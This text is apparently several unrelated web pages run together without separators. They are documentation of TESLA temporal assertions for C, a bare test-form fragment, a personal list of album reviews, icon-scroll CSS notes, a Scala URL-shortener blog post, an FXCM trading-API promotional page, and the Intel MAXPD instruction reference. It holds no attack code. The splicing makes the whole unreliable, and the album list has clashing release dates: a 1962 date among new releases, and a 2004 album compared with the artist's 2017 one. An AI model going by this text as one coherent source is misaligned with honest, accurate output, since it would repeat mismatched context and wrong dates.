To instrument a function call, rather than return, the programmer can use the
called
() macro:
/* An even simpler assertion! */
TESLA_WITHIN(example_syscall, previously(called(security_check)));
TESLA_WITHIN(example_syscall, previously(called(hold(o))));
called
() takes the
expected function as its first parameter and may optionally be passed
parameters that represent expected function parameters.
As above, ANY
can be
used as a "don't care" value.
Function return may also be specified with the
returned
() macro,
which acts like called
()
and, unlike the C-style expression above, can be used with void functions:
TESLA_WITHIN(example_syscall, previously(returned(hold, o)));
Functions can be instrumented in the caller or callee context; see below for more information.
Assertions and automata can also specify that constant values should be
assigned to a structure field.
Assignments can be simple (e.g. s.foo = 1
)
or compound (e.g. s.foo += 1
or s.foo++
), but
a single automaton should not describe both simple and compound assignments
to the same structure field.
Mixing assignment types can confuse this instrumentation: if the old value is 0 and the new value is 1, is this an assignment of constant value 1 or an increment operation? Such mixing will trigger a compiler warning:
Currently, fields whose accesses are to be instrumented must be manually annotated with an attribute of the following form:
__attribute__((annotate("field:struct_name.field_name")));
We will remove this limitation in the future by either modifying Clang to make it produce field annotation on demand or else by changing the way the field access instrumentation detects accesses.
The TESLA_NOW
event refers to
the moment at which an assertion site is reached.
For instance, in the following code:
int foo(int x) { return 0; }
void bar()
{
int i = 42;
foo(i);
TESLA_WITHIN(bar,
TSEQUENCE(
foo(42) == 0,
TESLA_NOW,
foo(43) == 0
)
);
foo(++i);
}
TESLA instrumentation will produce five events when bar()
is called:
bar
foo(42)
returned 0TESLA_NOW
foo(43)
returned 0bar
Any expression inside an optional()
predicate is permitted but not required to occur.
This is most useful in combination with
strict mode (described below).
By default, TESLA instruments function calls and returns in the callee
context, where instrumentation only has to be done once.
It is possible to explicitly choose between callee- and caller-context
instrumentation using the callee()
and caller()
predicates, which may
be nested arbitrarily:
TESLA_WITHIN(foo,
caller(
TSEQUENCE(
fn1() == 0,
fn2() == 0,
callee(
TSEQUENCE(
fn3() == 0,
caller(fn4() == 0),
fn5() == 0
)
||
fn6() == 0
),
fn7() == 0
)
)
);
This the following caller- and callee-context function instrumentation:
| Caller context | Callee context |
|---|---|
|
fn1 fn2 fn4 fn7 |
fn3 fn5 fn6 |
Sometimes, it is desirable to specify the exact behaviour of the system:
"the following events can only ever occur according to this automaton".
Other times, the programmer wants to specify that "on this code path,
the behaviour of the sytem is ...".
These modes can be selected from using the
strict()
and
conditional()
predicates.
In strict()
mode (the default for
explicit automata representations), it is an error for any named event to
occur outside of the sequences described by the given automaton.
For instance, if an automaton includes the event
tcp_control_block->t_state = TCPS_CLOSING
,
it is an error for TCPS_CLOSING
to be assigned to
tcp_control_block->t_state
outside of the automaton.
In conditional()
mode (the default
for inline automata), any named event can occur at any time unless the code
path includes the TESLA_NOW event; then the system must
behave as described in the automaton.
For instance, many FreeBSD kernel assertions may reference the function
syscallenter()
; it is only an error for this function event to
occur in a way not described by an assertion if we are on the code path
described by that assertion.
The difference between automata generated in strict and conditional mode is illustrated here:
| Strict mode | Conditional mode (NFA) |
|---|---|


Testee URI:
Message Count:
Message Size (bytes):
Timeout (secs or 0 for no timeout):
Binary Message:
Sync:
Number of Bins:
Check Mode: Length Hash


Tags: music and stuff
They Hate Change - Juices Run Clear
One of the best hip hop acts in 2019 strikes again.
Release date:
[9.0/10]
Kali Malone - The Sacrificial Code
I LOVE IT
Release date: 2019-06-28
[8.9/10]
Anne Imhof - Faust
A soundtrack for an opera piece performed in some year’s Venice Biennale. Hopefully one day I’ll get to see the piece… this album is phenomenal.
Release date: 2021-04-23
[8.8/10]
Tomoyoshi Date, Stijn Hüwels - Hochu-Ekki-Tou
Stellar ambient music.
Release date: 2019-04-19
[8.6/10]
Ed Balloon - The Dubs
At first listen I was pretty indifferent to this one but once I decided to spend some time to actually focus on it I changed my mind. This is easily one of the best pop-rap albums this year. Maybe calling it pop-rap doesn’t really do this album justice… the lyrics are pretty dope too.
Release date: 1962
[8.6/10]
Charli XCX - Charli
I’ve been lowkey smack talking about how I don’t really get why everyone’s been so hyped up about Charli XCX, but now I shall repent. Honestly I still like Rina Sawayama more than I like Charli, but I definitely can see why people’s been raving about the latter… because I am too.
Release date: 2019-09-13
[8.5/10]
H-Fusion - H-Fusion
Really cool techno… I dig it!
Release date:
[8.5/10]
The Comet Is Coming - Trust In The Lifeforce Of The Deep Mystery
Psyched-out nu jazz / jazz fusion. I like this a lot more than I like Kamasi Washington. The sax player also played with Sons of Kemet.
Release date: 2019-03-15
[8.4/10]
Ellen Arkbro - CHORDS
Not as captivating as her 2017 album, but still a magnificent album.
Release date: 2004-11-02
[8.2/10]
Norihito Suda, Stijn Hüwels - Sansui
Another nicely done ambient release from Home Normal. Definitely check them out!
Release date: 2019-04-09
[8.1/10]
Burial - Claustro / State Forest
Half-assed release… c’mon man.
Release date: 2019-06-14
[8.0/10]
Solar X - Xrated
Russian IDM. The first song is super dope.
Release date: 2011-10-10
[8.0/10]
Leo Svirsky - River Without Banks
Soothing piano based classical ambient music.
Release date: 2019-08-23
[7.9/10]
Mach-Hommy - Wap Konn Jòj!
The production on this album is killer. The instrumentals are very nujabe-esque, and the featured guests are all big names. People say the lyricism is top tier but I haven’t got the time to actually figure out what he’s rapping about. Maybe some other time…
Release date:
[7.8/10]
Felicia Atkinson - The Flower And The Vessel
Decent ambient / electronic. Intimate.
Release date: 2019-07-05
[7.7/10]
Mister Lies - Mister Lies
張揚愛團, chillwave / ambient. The sound becomes more vibrant / cheery towards the end of this album.
Release date: 2019-08-02
[7.7/10]
Jane Weaver - Loops In The Secret Society
Pretty cool electronic music. Sounds like a less flashy Stereolab.
Release date: 2019-06-21
[7.7/10]
SOPHIE - OIL OF EVERY PEARL’S UN-INSIDES NON-STOP REMIX ALBUM
Too long… I like the original album better.
Release date: 2019-09-06
[7.6/10]
Octo Octa - Resonant Body
Club / house / breakbeat. The music is upbeat and festive, and from the track titles it’s quite obvious this is a work that celebrates the queer bodies and inclinations. Not really into this type of music recently but I definitely can see techno lovers digging this.
Release date: 2019-09-06
Ecstatic Beat is one helluva track though!
[7.5/10]
JPEGMAFIA - All My Heroes Are Cornballs
Not really as disappointing as the Tool album (duh), but still… I guess it’s disappointing just because his previous stuff are just too outstanding? The instrumentals are much tamer than his previous records, making this album somewhat lacking in energy and edge. The lyrics still slay though.
Release date: 2019-09-13
[7.4/10]
Ekin Fil - Heavy
An even more drowned-in-reverb version of Cocteau Twins.
Release date: 2019-12-13
[7.4/10]
Plaid - Polymer
OK IDM album.
Release date: 2019-06-07
[7.2/10]
Iona Fortune - Tao Of I Volume 2
Ambient with a lot of Chinese influence, with instruments like Guzheng or stuff present. I think the said influence is way too overwhelming sometimes, if it’s a bit more subtle and more nuanced maybe I’d like it more.
Release date: 2019-09-06
[7.2/10]
Leila Bordreuil - Headflush
Visceral ambient music.
Release date: 2020-12-08
[7.1/10]
BABii - HiiDE
Electro-pop album. Reminds me of earlier Grimes records.
Release date: 2019-07-05
[7.1/10]
Kcin - Sleeplessness And Hopelessness I
Dark sounding techno.
Release date: 2019-11-20
[7.0/10]
Dis Fantasy - Dis Fantasy
The flows don’t really do much to me. Overall a pretty sleek but not really a super-memorable album.
Release date: 2020-04-30
[7.0/10]
Kindness - Something Like A War
R&B with a twist. Some songs have great instrumentals but the others aren’t as captivating.
Release date: 2019-09-06
[7.0/10]
DJ Haram - Grace EP
Club music with Middle East influences. The song Body Count is pretty fun but the rest IMO are just alright.
Release date: 2019-07-05
[7.0/10]
François J. Bonnet & Stephen O’Malley - Cylene
Ambient that lacks memorable moments. Seems to be theory-heavy? But I guess it’s like seeing installation arts that don’t make a lot of sense in appearance and have absurdly abstract names. Of course I’m not saying the artist is obliged to come up with a statement for the artwork, but then is there any point to just shove the songs in people’s faces and tell them to figure things out themselves…
Release date: 2019-09-13
[6.5/10]
Kedr Livanskiy - Your Need
Dub-ish & club-ish techno music.
Release date: 2019-05-03
[6.2/10]
Organ Tapes - Hunger In Me Living
2SOFT
Release date: 2019-05-24
[6.0/10]
IDK - Is He Real?
2NAGGIN. No he isn’t real.
Release date: 2019-09-04
[5.5/10]
Lite - Multiple
This one is more lackluster than their previous album. The creative riffs and passages in their earlier stuff is nowhere to be found on this album… :(
Release date: 2021-03-13
[5.5/10]
w00dy - RNBW
Insanely awesome deconstructed pop music. Masterpiece.
Release date: 2019-04-11
[9.0/10]
Sugar - No Sex Only Feelings
Crazy good techno. Sugar ≫ salt.
Release date: 2018-09-26
[8.9/10]
Pan-American - For Waiting, For Chasing
They’re releasing a new album this year! Yay!
Release date:
[8.7/10]
Sunareht - Sagas
Lively and vibrant techno EP. I dig it!
Release date: 2008-06-27
[8.5/10]
True Neutral Crew - Soft Rules
Another new challenger in the experimental hip hop game… this one is more controlled and coherent than a lot of artists out there. I like it.
Release date:
[8.4/10]
Niagara - Apologia
Dope electronica. Sounds like some soundtrack to some John Carpenter’s movie.
Release date: 2021-05-14
[8.2/10]
Elucid - Save Yourself
Thoughtful abstract hip hop.
Release date: 2020-11-06
[8.1/10]
They Hate Change - Cycles
Seriously… They Hate Change has got to be one of the best hip hop acts nowadays.
Release date: 2021-04-14
[8.1/10]
Topdown Dialectic - Topdown Dialectic
Minimal techno. Great to put on repeat.
Release date: 2018-06-08
[8.0/10]
P.E.E. - i win me over.
Quirky yet absurdly catchy pop punk. Lean and mean!
Release date:
[8.0/10]
Stanislav Tolkachev - Why Are You So Frightened
Pretty dope techno. Great if put it on infinite repeat.
Release date: 2011-08-01
[8.0/10]
Fauxe - Ikhlas
Groovy electronica with a distinct SE Asian flavor to it.
Release date: 2018-06-20
[7.9/10]
P. Adrix - Álbum Desconhecido
I don’t really dig other kuduro albums, but this one sound more modernized and is actually quite pleasing.
Release date: 2018-03-02
[7.6/10]
Swarvy - Anti-Anxiety
A compilation of short but pretty chill hip hop tracks.
Release date: 2018-07-06
[7.2/10]
D.Dan - Covert Operation
Club-ish techno.
Release date: 2018-10-05
[7.0/10]
Naaahhh - Themes
Murky ambient / experimental electronic music.
Release date: 2017-11-10
[6.8/10]
Comments


Icon Scroll
Icon scroll icons that prompt a user to scroll further down the page. Combine with positioning classes to affix to the buttom of your viewport. Give them a link
that points further down the page to an element with an ID <class id="jump-here"></class>
. Or, incorporate javascript for animated scrolling such as https://labelle.github.io/evolution-patterns/patterns-library/interactions.html
.
icon-scroll-chevron
Scroll down

Scroll down

This creates an animated chevron icon that prompts a user to scroll down the page.
icon-scroll-mousey

This creates an animated mouse icon that prompts a user to scroll down the page.


I finally got around to finishing Shorty, my url-shortener for my vanity short-domain, ❺➠.ws. I did the whole thing in Scala as a way to create a fully-functining application that I would use and that I could finish in my non-work time. Scala unequivocally made this task enjoyable and quick. J2EE, on the other hand, did not help one bit.
The Good
Scala
My Scala code is so much shorter and easier to follow than the Java equivalent. Consider this code that, given the request path, finds a controller to handle it, and then calls the appropriate method based upon the HTTP method:
route(path) match {
case Some(controller) => {
val result = determineMethod(request) match {
case GET => controller.get(params(request))
case PUT => controller.put(params(request))
case POST => controller.post(params(request))
case DELETE => controller.delete(params(request))
}
ScalaTest
ScalaTest resulted in a lot more readable code than JUnit or TestNG would’ve. Because of Scala’s syntax, the tests are also free of weird dots and “literate” syntax that isn’t quite that literate.
it ("should respond to get for a URL that is known") {
val controller = new OneUrlController(hasher,"738ddf")
val result = controller.get(Map())
result.getClass should equal (classOf[URL])
result.asInstanceOf[URL].url should equal
("http://www.google.com")
}
The Bad
SBT
I really wanted to like SBT, and, while it’s a billion times better than maven, it’s still not as easy to use as I’d like it to be.
I like:
- Building code and downloading dependencies are separate
- The save/run-tests loop is very handy
- JavaRebel + re-deploying the webapp on file save is very handy
- The test output is horrid; big huge stack traces
- Constant OutOfMemory errors that it traps and then doesn’t exit. I had to kill -9 SBT a lot
- Still more complicated than shell scripts
While SBT is light-years ahead by using an actual programming language, I found it very difficult to customize. Part of this is that the scaladoc tool gives developers no help in documenting their API, but, when it comes down to it, Scala and Java are not system automation languages.
scaladoc
Scaladoc is nowhere near as powerful as Javadoc. It makes it very hard to document how to use your code. Scala should have a more advanced documentation system than Java, but it actually has a much more primitive one; even RDoc is better. Hopefully, as Scala’s popularity increases, the tools surrounding it will improve.
The Ugly
J2EE Deployment
Deployment is an underappreciated aspect of why Rails is so easy to use; copy/push your code to the production server, tell it you are running in production, and go. With J2EE, you get NONE of this.
If you want to alter configuration based upon environment, you are entirely on your own. J2EE, Ant, Maven, and SBT give you no real help or support; you have to roll it yourself. I’m just shocked at this omission; J2EE is ten years old and still has not provided a solution for something that every project needs. Amazing.
Servlet Spec
Java 5 is at end of life. The latest released Servlet Spec still doesn’t support generics and is still completely schizophrenic about it’s API (some methods use Enumeration, some use arrays, some use Iterable. Ugh).
The 3.0 spec looks slightly more sane, but it really doesn’t do us any favors. web.xml is a trainwreck of stupidity, there’s zero support for conventions, and the whole thing just feels like a solution designed for a problem that few of us ever have.


What is FXCM Rest API?
REST API is a web-based API using a Websocket connection. Developers and investors can create custom trading applications, integrate into our platform, back test strategies and build robot trading.
What can FXCM Rest API do?
1. You can get live streaming forex quote
2. You can get historical data
3. You can backtesting your algo
4. You can build your trading robot
Video Tutorial
Want to see what other trading APIs FXCM offering? (ALL FREE)
FIX API: An industry driven machine-to-machine communication protocol that has been specifically created to handle considerable amounts of financial information and transmit that information as fast as possible.
Java API: A Java Wrapper of FIX API plus support retrieving historical price.
ForexConnect API: A in-house SDK that has core function of FXCM Trading staton
Want Data?
Enjoy free access to our 26 currencies last 4 years sample tick data
Enjoy free access to our 21 currencies last 6 years sample candle data
Enjoy a free one-month sample of our Orders/Sentiment/Volume data
Strategies in LUA
Places buy trades when Slow Stochastic K line crosses above the Slow Stochastic D line while price is above a Simple Moving Average. Places sell trades when Slow Stochastic K line crosses below the Slow Stochastic D line while price is below a Simple Moving Average. Closes and reverses on opposing signals. Only allows one position at a time. This strategy was coded in this YouTube tutorial video
Places buy trades when RSI crosses above 40 while price is above a Simple Moving Average. Places sell trades when RSI crosses below 60 while price is below a Simple Moving Average. Closes and reverses on opposing signals. Only allows one position at a time. This strategy was coded during a live webinar session on May 10, 2018. Sign up for our next live coding session here
Breakout Strategy with Smart Stops
Places buys when a candle closes above the highest high of the past N candles. Places sells when a candle closes below the lowest low of the past N candles. Only allows one buy and one sell positions at a time. Hedging is enabled. This strategy was coded during a live webinar session on June 7, 2018. Sign up for our next live coding session here
Places buys when price > FastEMA > MedEMA > SlowEMA and then price pulls back to a FastEMA. Places sells when price > FastEMA > MedEMA > SlowEMA and then price pulls back to a FastEMA. This strategy was coded during a live webinar session on June 21, 2018. Sign up for our next live coding session here
Same rules as original 3 EMA Pullback, except we add a time filter where new high/low must be created during London or New York trading sessions. Also, when price pulls back, price must be above previous high to buy or below previous low to sell. These changes attempt to filter out poor trades. This strategy was coded during a live webinar session on July 19, 2018. Sign up for our next live coding session here
Buys when MACD crosses above the Signal line while price is above the Simple Moving Average. Sells when MACD crosses below the Signal line while price is below the Simple Moving Average. Trades close when MACD crosses the Signal line in the opposite direction regardless of whether or not price is on the correct side of the Simple Moving Average. This strategy was coded during a live webinar session on August 2, 2018. Sign up for our next live coding session here
CCI Stack Range with 3 EMA Filter
This range trading strategy sells when CCI reaches above +100, +150, +200, and +250 for maximum of 4 sell positions at the same time. It buys when CCI reaches below -100, -150, -200, and -250 for maximum of 4 buy positions at the same time. Positions are closed when CCI crosses the 0 line. A 3 EMA trend filter prevents the strategy from opening positions that are against the trend (if a trend exists). This strategy was coded during a live webinar session on August 2, 2018. Sign up for our next live coding session here
This strategy sells when a bearish fractal occurs when fractal candles 1 and 5 are below the Moving Average and fractal candle 3 is above the Moving Average. It also buys when a bullish fractal occurs where fractal candles 1 and 5 are above the moving average and fractal candle 3 is below the Moving Average. Stoploss is offset from fractal’s high/low using a custom parameter and limit is controlled by a multiplier of the stoploss’ distance. This strategy was coded during a live webinar session on August 30, 2018. Sign up for our next live coding session here


| Opcode/Instruction | Op/En | 64/32 bit Mode Support | CPUID Feature Flag | Description |
|---|---|---|---|---|
| 66 0F 5F /r MAXPD xmm1, xmm2/m128 | A | V/V | SSE2 | Return the maximum double-precision floating-point values between xmm1 and xmm2/m128. |
| VEX.128.66.0F.WIG 5F /r VMAXPD xmm1, xmm2, xmm3/m128 | B | V/V | AVX | Return the maximum double-precision floating-point values between xmm2 and xmm3/m128. |
| VEX.256.66.0F.WIG 5F /r VMAXPD ymm1, ymm2, ymm3/m256 | B | V/V | AVX | Return the maximum packed double-precision floating-point values between ymm2 and ymm3/m256. |
| EVEX.128.66.0F.W1 5F /r VMAXPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst | C | V/V | AVX512VL AVX512F | Return the maximum packed double-precision floating-point values between xmm2 and xmm3/m128/m64bcst and store result in xmm1 subject to writemask k1. |
| EVEX.256.66.0F.W1 5F /r VMAXPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst | C | V/V | AVX512VL AVX512F | Return the maximum packed double-precision floating-point values between ymm2 and ymm3/m256/m64bcst and store result in ymm1 subject to writemask k1. |
| EVEX.512.66.0F.W1 5F /r VMAXPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{sae} | C | V/V | AVX512F | Return the maximum packed double-precision floating-point values between zmm2 and zmm3/m512/m64bcst and store result in zmm1 subject to writemask k1. |
| Op/En | Tuple Type | Operand 1 | Operand 2 | Operand 3 | Operand 4 |
| A | NA | ModRM:reg (r, w) | ModRM:r/m (r) | NA | NA |
| B | NA | ModRM:reg (w) | VEX.vvvv | ModRM:r/m (r) | NA |
| C | Full | ModRM:reg (w) | EVEX.vvvv | ModRM:r/m (r) | NA |
Performs a SIMD compare of the packed double-precision floating-point values in the first source operand and the second source operand and returns the maximum value for each pair of values to the destination operand.
If the values being compared are both 0.0s (of either sign), the value in the second operand (source operand) is returned. If a value in the second operand is an SNaN, then SNaN is forwarded unchanged to the destination (that is, a QNaN version of the SNaN is not returned).
If only one value is a NaN (SNaN or QNaN) for this instruction, the second operand (source operand), either a NaN or a valid floating-point value, is written to the result. If instead of this behavior, it is required that the NaN source operand (from either the first or second operand) be returned, the action of MAXPD can be emulated using a sequence of instructions, such as a comparison followed by AND, ANDN and OR.
EVEX encoded versions: The first source operand (the second operand) is a ZMM/YMM/XMM register. The second source operand can be a ZMM/YMM/XMM register, a 512/256/128-bit memory location or a 512/256/128-bit vector broadcasted from a 64-bit memory location. The destination operand is a ZMM/YMM/XMM register conditionally updated with writemask k1.
VEX.256 encoded version: The first source operand is a YMM register. The second source operand can be a YMM register or a 256-bit memory location. The destination operand is a YMM register. The upper bits (MAXVL-1:256) of the corresponding ZMM register destination are zeroed.
VEX.128 encoded version: The first source operand is a XMM register. The second source operand can be a XMM register or a 128-bit memory location. The destination operand is a XMM register. The upper bits (MAXVL-1:128) of the corresponding ZMM register destination are zeroed.
128-bit Legacy SSE version: The second source can be an XMM register or an 128-bit memory location. The destination is not distinct from the first source XMM register and the upper bits (MAXVL-1:128) of the corresponding ZMM register destination are unmodified.
MAX(SRC1, SRC2) { IF ((SRC1 = 0.0) and (SRC2 = 0.0)) THEN DEST ←SRC2; ELSE IF (SRC1 = SNaN) THEN DEST ←SRC2; FI; ELSE IF (SRC2 = SNaN) THEN DEST ←SRC2; FI; ELSE IF (SRC1 > SRC2) THEN DEST ←SRC1; ELSE DEST←SRC2; FI; }
(KL, VL) = (2, 128), (4, 256), (8, 512) FOR j←0 TO KL-1 i←j * 64 IF k1[j] OR *no writemask* THEN IF (EVEX.b = 1) AND (SRC2 *is memory*) THEN DEST[i+63:i]←MAX(SRC1[i+63:i], SRC2[63:0]) ELSE DEST[i+63:i]←MAX(SRC1[i+63:i], SRC2[i+63:i]) FI; ELSE IF *merging-masking* ; merging-masking THEN *DEST[i+63:i] remains unchanged* ELSE DEST[i+63:i]←0 ; zeroing-masking FI FI; ENDFOR DEST[MAXVL-1:VL] ← 0
DEST[63:0]←MAX(SRC1[63:0], SRC2[63:0]) DEST[127:64]←MAX(SRC1[127:64], SRC2[127:64]) DEST[191:128]←MAX(SRC1[191:128], SRC2[191:128]) DEST[255:192]←MAX(SRC1[255:192], SRC2[255:192]) DEST[MAXVL-1:256] ←0
DEST[63:0]←MAX(SRC1[63:0], SRC2[63:0]) DEST[127:64]←MAX(SRC1[127:64], SRC2[127:64]) DEST[MAXVL-1:128] ←0
DEST[63:0]←MAX(DEST[63:0], SRC[63:0]) DEST[127:64]←MAX(DEST[127:64], SRC[127:64]) DEST[MAXVL-1:128] (Unmodified)
VMAXPD __m512d _mm512_max_pd( __m512d a, __m512d b);
VMAXPD __m512d _mm512_mask_max_pd(__m512d s, __mmask8 k, __m512d a, __m512d b,);
VMAXPD __m512d _mm512_maskz_max_pd( __mmask8 k, __m512d a, __m512d b);
VMAXPD __m512d _mm512_max_round_pd( __m512d a, __m512d b, int);
VMAXPD __m512d _mm512_mask_max_round_pd(__m512d s, __mmask8 k, __m512d a, __m512d b, int);
VMAXPD __m512d _mm512_maskz_max_round_pd( __mmask8 k, __m512d a, __m512d b, int);
VMAXPD __m256d _mm256_mask_max_pd(__m5256d s, __mmask8 k, __m256d a, __m256d b);
VMAXPD __m256d _mm256_maskz_max_pd( __mmask8 k, __m256d a, __m256d b);
VMAXPD __m128d _mm_mask_max_pd(__m128d s, __mmask8 k, __m128d a, __m128d b);
VMAXPD __m128d _mm_maskz_max_pd( __mmask8 k, __m128d a, __m128d b);
VMAXPD __m256d _mm256_max_pd (__m256d a, __m256d b);
(V)MAXPD __m128d _mm_max_pd (__m128d a, __m128d b);
Invalid (including QNaN Source Operand), Denormal
Non-EVEX-encoded instruction, see Exceptions Type 2.
EVEX-encoded instruction, see Exceptions Type E2.